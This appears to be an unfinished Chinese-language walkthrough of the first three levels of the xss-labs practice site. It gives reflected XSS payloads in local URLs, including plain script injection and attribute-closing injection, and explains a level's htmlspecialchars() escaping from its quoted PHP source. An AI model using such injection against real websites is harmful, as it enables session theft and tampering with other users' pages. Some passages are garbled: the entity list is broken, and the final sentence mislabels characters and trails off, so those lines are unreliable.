0、写在前面
挖坑,待更新。
1、无过滤
简单关卡,随便找一个常用代码(如script、img等)填入即可。
http://localhost/xss-labs/level1.php?name=<script>alert(1)</script>
2、简单标签闭合
刚进入第二关的url:
http://localhost/xss-labs/level2.php?keyword=test
如题,非常简单的进行一个标签的闭合即可。
http://localhost/xss-labs/level2.php?keyword="><script>alert(1);</script> //
3、闭合+ htmlspecialchars()
1)先用<script>alert(1)</script>进行一波试探,结果如下:
可以看到<>被过滤了,查看一下源码方便理解:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
2)PHP htmlspecialchars() 函数:把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
虽然过滤了"(双引号)和<(单引号),但’(单引号)还是你单引号